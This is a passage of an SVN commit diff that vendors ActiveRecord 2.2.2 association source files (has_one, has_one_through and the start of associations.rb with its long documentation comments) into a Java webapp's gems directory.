+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_one_association.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_one_association.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_one_association.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,115 @@
+module ActiveRecord
+  module Associations
+    class HasOneAssociation < BelongsToAssociation #:nodoc:
+      def initialize(owner, reflection)
+        super
+        construct_sql
+      end
+
+      def create(attrs = {}, replace_existing = true)
+        new_record(replace_existing) do |reflection|
+          reflection.create_association(attrs)
+        end
+      end
+
+      def create!(attrs = {}, replace_existing = true)
+        new_record(replace_existing) do |reflection|
+          reflection.create_association!(attrs)
+        end
+      end
+
+      def build(attrs = {}, replace_existing = true)
+        new_record(replace_existing) do |reflection|
+          reflection.build_association(attrs)
+        end
+      end
+
+      def replace(obj, dont_save = false)
+        load_target
+
+        unless @target.nil? || @target == obj
+          if dependent? && !dont_save
+            @target.destroy unless @target.new_record?
+            @owner.clear_association_cache
+          else
+            @target[@reflection.primary_key_name] = nil
+            @target.save unless @owner.new_record? || @target.new_record?
+          end
+        end
+
+        if obj.nil?
+          @target = nil
+        else
+          raise_on_type_mismatch(obj)
+          set_belongs_to_association_for(obj)
+          @target = (AssociationProxy === obj ? obj.target : obj)
+        end
+
+        @loaded = true
+
+        unless @owner.new_record? or obj.nil? or dont_save
+          return (obj.save ? self : false)
+        else
+          return (obj.nil? ? nil : self)
+        end
+      end
+
+      protected
+        def owner_quoted_id
+          if @reflection.options[:primary_key]
+            @owner.class.quote_value(@owner.send(@reflection.options[:primary_key]))
+          else
+            @owner.quoted_id
+          end
+        end
+
+      private
+        def find_target
+          @reflection.klass.find(:first, 
+            :conditions => @finder_sql,
+            :select     => @reflection.options[:select],
+            :order      => @reflection.options[:order], 
+            :include    => @reflection.options[:include],
+            :readonly   => @reflection.options[:readonly]
+          )
+        end
+
+        def construct_sql
+          case
+            when @reflection.options[:as]
+              @finder_sql = 
+                "#{@reflection.quoted_table_name}.#{@reflection.options[:as]}_id = #{owner_quoted_id} AND " +
+                "#{@reflection.quoted_table_name}.#{@reflection.options[:as]}_type = #{@owner.class.quote_value(@owner.class.base_class.name.to_s)}"
+            else
+              @finder_sql = "#{@reflection.quoted_table_name}.#{@reflection.primary_key_name} = #{owner_quoted_id}"
+          end
+          @finder_sql << " AND (#{conditions})" if conditions
+        end
+        
+        def construct_scope
+          create_scoping = {}
+          set_belongs_to_association_for(create_scoping)
+          { :create => create_scoping }
+        end
+
+        def new_record(replace_existing)
+          # Make sure we load the target first, if we plan on replacing the existing
+          # instance. Otherwise, if the target has not previously been loaded
+          # elsewhere, the instance we create will get orphaned.
+          load_target if replace_existing
+          record = @reflection.klass.send(:with_scope, :create => construct_scope[:create]) do
+            yield @reflection
+          end
+
+          if replace_existing
+            replace(record, true) 
+          else
+            record[@reflection.primary_key_name] = @owner.id unless @owner.new_record?
+            self.target = record
+          end
+
+          record
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_one_through_association.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_one_through_association.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_one_through_association.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,31 @@
+module ActiveRecord
+  module Associations
+    class HasOneThroughAssociation < HasManyThroughAssociation
+      
+      def create_through_record(new_value) #nodoc:
+        klass = @reflection.through_reflection.klass
+
+        current_object = @owner.send(@reflection.through_reflection.name)
+        
+        if current_object
+          current_object.update_attributes(construct_join_attributes(new_value))
+        else
+          @owner.send(@reflection.through_reflection.name,  klass.send(:create, construct_join_attributes(new_value)))
+        end
+      end
+      
+    private
+      def find(*args)
+        super(args.merge(:limit => 1))
+      end
+    
+      def find_target
+        super.first
+      end
+
+      def reset_target!
+        @target = nil
+      end        
+    end        
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2227 @@
+require 'active_record/associations/association_proxy'
+require 'active_record/associations/association_collection'
+require 'active_record/associations/belongs_to_association'
+require 'active_record/associations/belongs_to_polymorphic_association'
+require 'active_record/associations/has_one_association'
+require 'active_record/associations/has_many_association'
+require 'active_record/associations/has_many_through_association'
+require 'active_record/associations/has_and_belongs_to_many_association'
+require 'active_record/associations/has_one_through_association'
+
+module ActiveRecord
+  class HasManyThroughAssociationNotFoundError < ActiveRecordError #:nodoc:
+    def initialize(owner_class_name, reflection)
+      super("Could not find the association #{reflection.options[:through].inspect} in model #{owner_class_name}")
+    end
+  end
+
+  class HasManyThroughAssociationPolymorphicError < ActiveRecordError #:nodoc:
+    def initialize(owner_class_name, reflection, source_reflection)
+      super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' on the polymorphic object '#{source_reflection.class_name}##{source_reflection.name}'.")
+    end
+  end
+
+  class HasManyThroughAssociationPointlessSourceTypeError < ActiveRecordError #:nodoc:
+    def initialize(owner_class_name, reflection, source_reflection)
+      super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' with a :source_type option if the '#{reflection.through_reflection.class_name}##{source_reflection.name}' is not polymorphic.  Try removing :source_type on your association.")
+    end
+  end
+
+  class HasManyThroughSourceAssociationNotFoundError < ActiveRecordError #:nodoc:
+    def initialize(reflection)
+      through_reflection      = reflection.through_reflection
+      source_reflection_names = reflection.source_reflection_names
+      source_associations     = reflection.through_reflection.klass.reflect_on_all_associations.collect { |a| a.name.inspect }
+      super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence :connector => 'or'} in model #{through_reflection.klass}.  Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'.  Is it one of #{source_associations.to_sentence :connector => 'or'}?")
+    end
+  end
+
+  class HasManyThroughSourceAssociationMacroError < ActiveRecordError #:nodoc:
+    def initialize(reflection)
+      through_reflection = reflection.through_reflection
+      source_reflection  = reflection.source_reflection
+      super("Invalid source reflection macro :#{source_reflection.macro}#{" :through" if source_reflection.options[:through]} for has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}.  Use :source to specify the source reflection.")
+    end
+  end
+
+  class HasManyThroughCantAssociateThroughHasManyReflection < ActiveRecordError #:nodoc:
+    def initialize(owner, reflection)
+      super("Cannot modify association '#{owner.class.name}##{reflection.name}' because the source reflection class '#{reflection.source_reflection.class_name}' is associated to '#{reflection.through_reflection.class_name}' via :#{reflection.source_reflection.macro}.")
+    end
+  end
+  class HasManyThroughCantAssociateNewRecords < ActiveRecordError #:nodoc:
+    def initialize(owner, reflection)
+      super("Cannot associate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to create the has_many :through record associating them.")
+    end
+  end
+
+  class HasManyThroughCantDissociateNewRecords < ActiveRecordError #:nodoc:
+    def initialize(owner, reflection)
+      super("Cannot dissociate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to delete the has_many :through record associating them.")
+    end
+  end
+
+  class EagerLoadPolymorphicError < ActiveRecordError #:nodoc:
+    def initialize(reflection)
+      super("Can not eagerly load the polymorphic association #{reflection.name.inspect}")
+    end
+  end
+
+  class ReadOnlyAssociation < ActiveRecordError #:nodoc:
+    def initialize(reflection)
+      super("Can not add to a has_many :through association.  Try adding to #{reflection.through_reflection.name.inspect}.")
+    end
+  end
+
+  # See ActiveRecord::Associations::ClassMethods for documentation.
+  module Associations # :nodoc:
+    def self.included(base)
+      base.extend(ClassMethods)
+    end
+
+    # Clears out the association cache
+    def clear_association_cache #:nodoc:
+      self.class.reflect_on_all_associations.to_a.each do |assoc|
+        instance_variable_set "@#{assoc.name}", nil
+      end unless self.new_record?
+    end
+
+    # Associations are a set of macro-like class methods for tying objects together through foreign keys. They express relationships like
+    # "Project has one Project Manager" or "Project belongs to a Portfolio". Each macro adds a number of methods to the class which are
+    # specialized according to the collection or association symbol and the options hash. It works much the same way as Ruby's own <tt>attr*</tt>
+    # methods. Example:
+    #
+    #   class Project < ActiveRecord::Base
+    #     belongs_to              :portfolio
+    #     has_one                 :project_manager
+    #     has_many                :milestones
+    #     has_and_belongs_to_many :categories
+    #   end
+    #
+    # The project class now has the following methods (and more) to ease the traversal and manipulation of its relationships:
+    # * <tt>Project#portfolio, Project#portfolio=(portfolio), Project#portfolio.nil?</tt>
+    # * <tt>Project#project_manager, Project#project_manager=(project_manager), Project#project_manager.nil?,</tt>
+    # * <tt>Project#milestones.empty?, Project#milestones.size, Project#milestones, Project#milestones<<(milestone),</tt>
+    #   <tt>Project#milestones.delete(milestone), Project#milestones.find(milestone_id), Project#milestones.find(:all, options),</tt>
+    #   <tt>Project#milestones.build, Project#milestones.create</tt>
+    # * <tt>Project#categories.empty?, Project#categories.size, Project#categories, Project#categories<<(category1),</tt>
+    #   <tt>Project#categories.delete(category1)</tt>
+    #
+    # === A word of warning
+    #
+    # Don't create associations that have the same name as instance methods of ActiveRecord::Base. Since the association
+    # adds a method with that name to its model, it will override the inherited method and break things.
+    # For instance, +attributes+ and +connection+ would be bad choices for association names.
+    #
+    # == Auto-generated methods
+    #
+    # === Singular associations (one-to-one)
+    #                                     |            |  belongs_to  |
+    #   generated methods                 | belongs_to | :polymorphic | has_one
+    #   ----------------------------------+------------+--------------+---------
+    #   #other                            |     X      |      X       |    X
+    #   #other=(other)                    |     X      |      X       |    X
+    #   #build_other(attributes={})       |     X      |              |    X
+    #   #create_other(attributes={})      |     X      |              |    X
+    #   #other.create!(attributes={})     |            |              |    X
+    #   #other.nil?                       |     X      |      X       |
+    #
+    # ===Collection associations (one-to-many / many-to-many)
+    #                                     |       |          | has_many
+    #   generated methods                 | habtm | has_many | :through
+    #   ----------------------------------+-------+----------+----------
+    #   #others                           |   X   |    X     |    X
+    #   #others=(other,other,...)         |   X   |    X     |    X
+    #   #other_ids                        |   X   |    X     |    X
+    #   #other_ids=(id,id,...)            |   X   |    X     |    X
+    #   #others<<                         |   X   |    X     |    X
+    #   #others.push                      |   X   |    X     |    X
+    #   #others.concat                    |   X   |    X     |    X
+    #   #others.build(attributes={})      |   X   |    X     |    X
+    #   #others.create(attributes={})     |   X   |    X     |    X
+    #   #others.create!(attributes={})    |   X   |    X     |    X
+    #   #others.size                      |   X   |    X     |    X
+    #   #others.length                    |   X   |    X     |    X
+    #   #others.count                     |   X   |    X     |    X
+    #   #others.sum(args*,&block)         |   X   |    X     |    X
+    #   #others.empty?                    |   X   |    X     |    X
+    #   #others.clear                     |   X   |    X     |    X
+    #   #others.delete(other,other,...)   |   X   |    X     |    X
+    #   #others.delete_all                |   X   |    X     |
+    #   #others.destroy_all               |   X   |    X     |    X
+    #   #others.find(*args)               |   X   |    X     |    X
+    #   #others.find_first                |   X   |          |
+    #   #others.exist?                    |   X   |    X     |    X
+    #   #others.uniq                      |   X   |    X     |    X
+    #   #others.reset                     |   X   |    X     |    X
+    #
+    # == Cardinality and associations
+    #
+    # Active Record associations can be used to describe one-to-one, one-to-many and many-to-many
+    # relationships between models. Each model uses an association to describe its role in
+    # the relation. The +belongs_to+ association is always used in the model that has
+    # the foreign key.
+    #
+    # === One-to-one
+    #
+    # Use +has_one+ in the base, and +belongs_to+ in the associated model.
+    #
+    #   class Employee < ActiveRecord::Base
+    #     has_one :office
+    #   end
+    #   class Office < ActiveRecord::Base
+    #     belongs_to :employee    # foreign key - employee_id
+    #   end
+    #
+    # === One-to-many
+    #
+    # Use +has_many+ in the base, and +belongs_to+ in the associated model.
+    #
+    #   class Manager < ActiveRecord::Base
+    #     has_many :employees
+    #   end
+    #   class Employee < ActiveRecord::Base
+    #     belongs_to :manager     # foreign key - manager_id
+    #   end
+    #
+    # === Many-to-many
+    #
+    # There are two ways to build a many-to-many relationship.
+    #
+    # The first way uses a +has_many+ association with the <tt>:through</tt> option and a join model, so
+    # there are two stages of associations.
+    #
+    #   class Assignment < ActiveRecord::Base
+    #     belongs_to :programmer  # foreign key - programmer_id
+    #     belongs_to :project     # foreign key - project_id
+    #   end
+    #   class Programmer < ActiveRecord::Base
+    #     has_many :assignments
+    #     has_many :projects, :through => :assignments
+    #   end
+    #   class Project < ActiveRecord::Base
+    #     has_many :assignments
+    #     has_many :programmers, :through => :assignments
+    #   end
+    #
+    # For the second way, use +has_and_belongs_to_many+ in both models. This requires a join table
+    # that has no corresponding model or primary key.
+    #
+    #   class Programmer < ActiveRecord::Base
+    #     has_and_belongs_to_many :projects       # foreign keys in the join table
+    #   end
+    #   class Project < ActiveRecord::Base
+    #     has_and_belongs_to_many :programmers    # foreign keys in the join table
+    #   end
+    #
+    # Choosing which way to build a many-to-many relationship is not always simple.
+    # If you need to work with the relationship model as its own entity,
+    # use <tt>has_many :through</tt>. Use +has_and_belongs_to_many+ when working with legacy schemas or when
+    # you never work directly with the relationship itself.
+    #
+    # == Is it a +belongs_to+ or +has_one+ association?
+    #
+    # Both express a 1-1 relationship. The difference is mostly where to place the foreign key, which goes on the table for the class
+    # declaring the +belongs_to+ relationship. Example:
+    #
+    #   class User < ActiveRecord::Base
+    #     # I reference an account.
+    #     belongs_to :account
+    #   end
+    #
+    #   class Account < ActiveRecord::Base
+    #     # One user references me.
+    #     has_one :user
+    #   end
+    #
+    # The tables for these classes could look something like:
+    #
+    #   CREATE TABLE users (
+    #     id int(11) NOT NULL auto_increment,
+    #     account_id int(11) default NULL,
+    #     name varchar default NULL,
+    #     PRIMARY KEY  (id)
+    #   )
+    #
+    #   CREATE TABLE accounts (
+    #     id int(11) NOT NULL auto_increment,
+    #     name varchar default NULL,
+    #     PRIMARY KEY  (id)
+    #   )
+    #
+    # == Unsaved objects and associations
+    #
+    # You can manipulate objects and associations before they are saved to the database, but there is some special behavior you should be
+    # aware of, mostly involving the saving of associated objects.
+    #
+    # === One-to-one associations
+    #
+    # * Assigning an object to a +has_one+ association automatically saves that object and the object being replaced (if there is one), in
+    #   order to update their primary keys - except if the parent object is unsaved (<tt>new_record? == true</tt>).
+    # * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns +false+ and the assignment
+    #   is cancelled.
+    # * If you wish to assign an object to a +has_one+ association without saving it, use the <tt>association.build</tt> method (documented below).
+    # * Assigning an object to a +belongs_to+ association does not save the object, since the foreign key field belongs on the parent. It
+    #   does not save the parent either.
+    #
+    # === Collections
+    #
+    # * Adding an object to a collection (+has_many+ or +has_and_belongs_to_many+) automatically saves that object, except if the parent object
+    #   (the owner of the collection) is not yet stored in the database.
+    # * If saving any of the objects being added to a collection (via <tt>push</tt> or similar) fails, then <tt>push</tt> returns +false+.
+    # * You can add an object to a collection without automatically saving it by using the <tt>collection.build</tt> method (documented below).
+    # * All unsaved (<tt>new_record? == true</tt>) members of the collection are automatically saved when the parent is saved.
+    #
+    # === Association callbacks
+    #
+    # Similar to the normal callbacks that hook into the lifecycle of an Active Record object, you can also define callbacks that get
+    # triggered when you add an object to or remove an object from an association collection. Example:
+    #
+    #   class Project
+    #     has_and_belongs_to_many :developers, :after_add => :evaluate_velocity
+    #
+    #     def evaluate_velocity(developer)
+    #       ...
+    #     end
+    #   end
+    #
+    # It's possible to stack callbacks by passing them as an array. Example:
+    #
+    #   class Project
+    #     has_and_belongs_to_many :developers, :after_add => [:evaluate_velocity, Proc.new { |p, d| p.shipping_date = Time.now}]
+    #   end
+    #
+    # Possible callbacks are: +before_add+, +after_add+, +before_remove+ and +after_remove+.
+    #
+    # Should any of the +before_add+ callbacks throw an exception, the object does not get added to the collection. Same with
+    # the +before_remove+ callbacks; if an exception is thrown the object doesn't get removed.
+    #
+    # === Association extensions
+    #
+    # The proxy objects that control the access to associations can be extended through anonymous modules. This is especially
+    # beneficial for adding new finders, creators, and other factory-type methods that are only used as part of this association.
+    # Example:
+    #
+    #   class Account < ActiveRecord::Base
+    #     has_many :people do
+    #       def find_or_create_by_name(name)
+    #         first_name, last_name = name.split(" ", 2)
+    #         find_or_create_by_first_name_and_last_name(first_name, last_name)
+    #       end
+    #     end
+    #   end
+    #
+    #   person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
+    #   person.first_name # => "David"
+    #   person.last_name  # => "Heinemeier Hansson"
+    #
+    # If you need to share the same extensions between many associations, you can use a named extension module. Example:
+    #
+    #   module FindOrCreateByNameExtension
+    #     def find_or_create_by_name(name)
+    #       first_name, last_name = name.split(" ", 2)
+    #       find_or_create_by_first_name_and_last_name(first_name, last_name)
+    #     end
+    #   end
+    #
+    #   class Account < ActiveRecord::Base
+    #     has_many :people, :extend => FindOrCreateByNameExtension
+    #   end
+    #
+    #   class Company < ActiveRecord::Base
+    #     has_many :people, :extend => FindOrCreateByNameExtension
+    #   end
+    #
+    # If you need to use multiple named extension modules, you can specify an array of modules with the <tt>:extend</tt> option.
+    # In the case of name conflicts between methods in the modules, methods in modules later in the array supercede
+    # those earlier in the array. Example:
+    #
+    #   class Account < ActiveRecord::Base
+    #     has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
+    #   end
+    #
+    # Some extensions can only be made to work with knowledge of the association proxy's internals.
+    # Extensions can access relevant state using accessors on the association proxy:
+    #
+    # * +proxy_owner+ - Returns the object the association is part of.
+    # * +proxy_reflection+ - Returns the reflection object that describes the association.
+    # * +proxy_target+ - Returns the associated object for +belongs_to+ and +has_one+, or the collection of associated objects for +has_many+ and +has_and_belongs_to_many+.
+    #
+    # === Association Join Models
+    #
+    # Has Many associations can be configured with the <tt>:through</tt> option to use an explicit join model to retrieve the data.  This
+    # operates similarly to a +has_and_belongs_to_many+ association.  The advantage is that you're able to add validations,
+    # callbacks, and extra attributes on the join model.  Consider the following schema:
+    #
+    #   class Author < ActiveRecord::Base
+    #     has_many :authorships
+    #     has_many :books, :through => :authorships
+    #   end
+    #
+    #   class Authorship < ActiveRecord::Base
+    #     belongs_to :author
+    #     belongs_to :book
+    #   end
+    #
+    #   @author = Author.find :first
+    #   @author.authorships.collect { |a| a.book } # selects all books that the author's authorships belong to.
+    #   @author.books                              # selects all books by using the Authorship join model
+    #
+    # You can also go through a +has_many+ association on the join model:
+    #
+    #   class Firm < ActiveRecord::Base
+    #     has_many   :clients
+    #     has_many   :invoices, :through => :clients
+    #   end
+    #
+    #   class Client < ActiveRecord::Base
+    #     belongs_to :firm
+    #     has_many   :invoices
+    #   end
+    #
+    #   class Invoice < ActiveRecord::Base
+    #     belongs_to :client
+    #   end
+    #
+    #   @firm = Firm.find :first
+    #   @firm.clients.collect { |c| c.invoices }.flatten # select all invoices for all clients of the firm
+    #   @firm.invoices                                   # selects all invoices by going through the Client join model.
+    #
+    # === Polymorphic Associations
+    #
+    # Polymorphic associations on models are not restricted on what types of models they can be associated with.  Rather, they
+    # specify an interface that a +has_many+ association must adhere to.
+    #
+    #   class Asset < ActiveRecord::Base
+    #     belongs_to :attachable, :polymorphic => true
+    #   end
+    #
+    #   class Post < ActiveRecord::Base
+    #     has_many :assets, :as => :attachable         # The :as option specifies the polymorphic interface to use.
+    #   end
+    #
+    #   @asset.attachable = @post
+    #
+    # This works by using a type column in addition to a foreign key to specify the associated record.  In the Asset example, you'd need
+    # an +attachable_id+ integer column and an +attachable_type+ string column.
+    #
+    # Using polymorphic associations in combination with single table inheritance (STI) is a little tricky. In order
+    # for the associations to work as expected, ensure that you store the base model for the STI models in the
+    # type column of the polymorphic association. To continue with the asset example above, suppose there are guest posts
+    # and member posts that use the posts table for STI. In this case, there must be a +type+ column in the posts table.
+    #
+    #   class Asset < ActiveRecord::Base
+    #     belongs_to :attachable, :polymorphic => true
+    #
+    #     def attachable_type=(sType)
+    #        super(sType.to_s.classify.constantize.base_class.to_s)
+    #     end
+    #   end
+    #
+    #   class Post < ActiveRecord::Base
+    #     # because we store "Post" in attachable_type now :dependent => :destroy will work
+    #     has_many :assets, :as => :attachable, :dependent => :destroy
+    #   end
+    #
+    #   class GuestPost < Post
+    #   end
+    #
+    #   class MemberPost < Post
+    #   end
+    #
+    # == Caching
+    #
+    # All of the methods are built on a simple caching principle that will keep the result of the last query around unless specifically
+    # instructed not to. The cache is even shared across methods to make it even cheaper to use the macro-added methods without
+    # worrying too much about performance at the first go. Example:
+    #
+    #   project.milestones             # fetches milestones from the database
+    #   project.milestones.size        # uses the milestone cache
+    #   project.milestones.empty?      # uses the milestone cache
+    #   project.milestones(true).size  # fetches milestones from the database
+    #   project.milestones             # uses the milestone cache
+    #
+    # == Eager loading of associations
+    #
+    # Eager loading is a way to find objects of a certain class and a number of named associations. This is
+    # one of the easiest ways of to prevent the dreaded 1+N problem in which fetching 100 posts that each need to display their author
+    # triggers 101 database queries. Through the use of eager loading, the 101 queries can be reduced to 2. Example:
+    #
+    #   class Post < ActiveRecord::Base
+    #     belongs_to :author
+    #     has_many   :comments
+    #   end
+    #
+    # Consider the following loop using the class above:
+    #
+    #   for post in Post.all
+    #     puts "Post:            " + post.title
+    #     puts "Written by:      " + post.author.name
+    #     puts "Last comment on: " + post.comments.first.created_on
+    #   end
+    #
+    # To iterate over these one hundred posts, we'll generate 201 database queries. Let's first just optimize it for retrieving the author:
+    #
+    #   for post in Post.find(:all, :include => :author)
+    #
+    # This references the name of the +belongs_to+ association that also used the <tt>:author</tt> symbol. After loading the posts, find
+    # will collect the +author_id+ from each one and load all the referenced authors with one query. Doing so will cut down the number of queries from 201 to 102.
+    #
+    # We can improve upon the situation further by referencing both associations in the finder with:
+    #
+    #   for post in Post.find(:all, :include => [ :author, :comments ])
+    #
+    # This will load all comments with a single query. This reduces the total number of queries to 3. More generally the number of queries
+    # will be 1 plus the number of associations named (except if some of the associations are polymorphic +belongs_to+ - see below).
+    #
+    # To include a deep hierarchy of associations, use a hash:
+    #
+    #   for post in Post.find(:all, :include => [ :author, { :comments => { :author => :gravatar } } ])
+    #
+    # That'll grab not only all the comments but all their authors and gravatar pictures.  You can mix and match
+    # symbols, arrays and hashes in any combination to describe the associations you want to load.
+    #
+    # All of this power shouldn't fool you into thinking that you can pull out huge amounts of data with no performance penalty just because you've reduced
+    # the number of queries. The database still needs to send all the data to Active Record and it still needs to be processed. So it's no
+    # catch-all for performance problems, but it's a great way to cut down on the number of queries in a situation as the one described above.
+    #
+    # Since only one table is loaded at a time, conditions or orders cannot reference tables other than the main one. If this is the case
+    # Active Record falls back to the previously used LEFT OUTER JOIN based strategy. For example
+    #  
+    #   Post.find(:all, :include => [ :author, :comments ], :conditions => ['comments.approved = ?', true])
+    #
+    # will result in a single SQL query with joins along the lines of: <tt>LEFT OUTER JOIN comments ON comments.post_id = posts.id</tt> and
+    # <tt>LEFT OUTER JOIN authors ON authors.id = posts.author_id</tt>. Note that using conditions like this can have unintended consequences.
+    # In the above example posts with no approved comments are not returned at all, because the conditions apply to the SQL statement as a whole
+    # and not just to the association. You must disambiguate column references for this fallback to happen, for example
+    # <tt>:order => "author.name DESC"</tt> will work but <tt>:order => "name DESC"</tt> will not. 
+    #
+    # If you do want eagerload only some members of an association it is usually more natural to <tt>:include</tt> an association
+    # which has conditions defined on it:
+    #
+    #   class Post < ActiveRecord::Base
+    #     has_many :approved_comments, :class_name => 'Comment', :conditions => ['approved = ?', true]
+    #   end
+    #
+    #   Post.find(:all, :include => :approved_comments)
+    #
+    # will load posts and eager load the +approved_comments+ association, which contains only those comments that have been approved.
+    #
+    # If you eager load an association with a specified <tt>:limit</tt> option, it will be ignored, returning all the associated objects:
+    #
+    #   class Picture < ActiveRecord::Base
+    #     has_many :most_recent_comments, :class_name => 'Comment', :order => 'id DESC', :limit => 10
+    #   end
+    #
+    #   Picture.find(:first, :include => :most_recent_comments).most_recent_comments # => returns all associated comments.
+    #
+    # When eager loaded, conditions are interpolated in the context of the model class, not the model instance.  Conditions are lazily interpolated
+    # before the actual model exists.
+    #
+    # Eager loading is supported with polymorphic associations.
+    #
+    #   class Address < ActiveRecord::Base
+    #     belongs_to :addressable, :polymorphic => true
+    #   end
+    #
+    # A call that tries to eager load the addressable model
+    #
+    #   Address.find(:all, :include => :addressable)
+    #
+    # will execute one query to load the addresses and load the addressables with one query per addressable type. 
+    # For example if all the addressables are either of class Person or Company then a total of 3 queries will be executed. The list of
+    # addressable types to load is determined on the back of the addresses loaded. This is not supported if Active Record has to fallback
+    # to the previous implementation of eager loading and will raise ActiveRecord::EagerLoadPolymorphicError. The reason is that the parent 
+    # model's type is a column value so its corresponding table name cannot be put in the +FROM+/+JOIN+ clauses of that query.
+    #
+    # == Table Aliasing
+    #
+    # Active Record uses table aliasing in the case that a table is referenced multiple times in a join.  If a table is referenced only once,
+    # the standard table name is used.  The second time, the table is aliased as <tt>#{reflection_name}_#{parent_table_name}</tt>.  Indexes are appended
+    # for any more successive uses of the table name.
+    #
+    #   Post.find :all, :joins => :comments
+    #   # => SELECT ... FROM posts INNER JOIN comments ON ...
+    #   Post.find :all, :joins => :special_comments # STI
+    #   # => SELECT ... FROM posts INNER JOIN comments ON ... AND comments.type = 'SpecialComment'
+    #   Post.find :all, :joins => [:comments, :special_comments] # special_comments is the reflection name, posts is the parent table name
+    #   # => SELECT ... FROM posts INNER JOIN comments ON ... INNER JOIN comments special_comments_posts
+    #
+    # Acts as tree example:
+    #
+    #   TreeMixin.find :all, :joins => :children
+    #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+    #   TreeMixin.find :all, :joins => {:children => :parent}
+    #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+    #                               INNER JOIN parents_mixins ...
+    #   TreeMixin.find :all, :joins => {:children => {:parent => :children}}
+    #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+    #                               INNER JOIN parents_mixins ...
+    #                               INNER JOIN mixins childrens_mixins_2
+    #
+    # Has and Belongs to Many join tables use the same idea, but add a <tt>_join</tt> suffix:
+    #
+    #   Post.find :all, :joins => :categories
+    #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+    #   Post.find :all, :joins => {:categories => :posts}
+    #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+    #                              INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+    #   Post.find :all, :joins => {:categories => {:posts => :categories}}
+    #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+    #                              INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+    #                              INNER JOIN categories_posts categories_posts_join INNER JOIN categories categories_posts_2
+    #
+    # If you wish to specify your own custom joins using a <tt>:joins</tt> option, those table names will take precedence over the eager associations:
+    #
+    #   Post.find :all, :joins => :comments, :joins => "inner join comments ..."
+    #   # => SELECT ... FROM posts INNER JOIN comments_posts ON ... INNER JOIN comments ...
+    #   Post.find :all, :joins => [:comments, :special_comments], :joins => "inner join comments ..."
+    #   # => SELECT ... FROM posts INNER JOIN comments comments_posts ON ...
+    #                              INNER JOIN comments special_comments_posts ...
+    #                              INNER JOIN comments ...
+    #
+    # Table aliases are automatically truncated according to the maximum length of table identifiers according to the specific database.
+    #
+    # == Modules
+    #
+    # By default, associations will look for objects within the current module scope. Consider:
+    #
+    #   module MyApplication
+    #     module Business
+    #       class Firm < ActiveRecord::Base
+    #          has_many :clients
+    #        end
+    #
+    #       class Client < ActiveRecord::Base; end
+    #     end
+    #   end
+    #
+    # When <tt>Firm#clients</tt> is called, it will in turn call <tt>MyApplication::Business::Client.find_all_by_firm_id(firm.id)</tt>.
+    # If you want to associate with a class in another module scope, this can be done by specifying the complete class name.
+    # Example:
+    #
+    #   module MyApplication
+    #     module Business
+    #       class Firm < ActiveRecord::Base; end
+    #     end
+    #
+    #     module Billing
+    #       class Account < ActiveRecord::Base
+    #         belongs_to :firm, :class_name => "MyApplication::Business::Firm"
+    #       end
+    #     end
+    #   end
+    #
+    # == Type safety with <tt>ActiveRecord::AssociationTypeMismatch</tt>
+    #
+    # If you attempt to assign an object to an association that doesn't match the inferred or specified <tt>:class_name</tt>, you'll
+    # get an <tt>ActiveRecord::AssociationTypeMismatch</tt>.
+    #
+    # == Options
+    #
+    # All of the association macros can be specialized through options. This makes cases more complex than the simple and guessable ones
+    # possible.
+    module ClassMethods
+      # Specifies a one-to-many association. The following methods for retrieval and query of
+      # collections of associated objects will be added:
+      #
+      # [collection(force_reload = false)]
+      #   Returns an array of all the associated objects.
+      #   An empty array is returned if none are found.
+      # [collection<<(object, ...)]
+      #   Adds one or more objects to the collection by setting their foreign keys to the collection's primary key.
+      # [collection.delete(object, ...)]
+      #   Removes one or more objects from the collection by setting their foreign keys to +NULL+.
+      #   Objects will be in addition destroyed if they're associated with <tt>:dependent => :destroy</tt>,
+      #   and deleted if they're associated with <tt>:dependent => :delete_all</tt>.
+      # [collection=objects]
+      #   Replaces the collections content by deleting and adding objects as appropriate.
+      # [collection_singular_ids]
+      #   Returns an array of the associated objects' ids
+      # [collection_singular_ids=ids]
+      #   Replace the collection with the objects identified by the primary keys in +ids+
+      # [collection.clear]
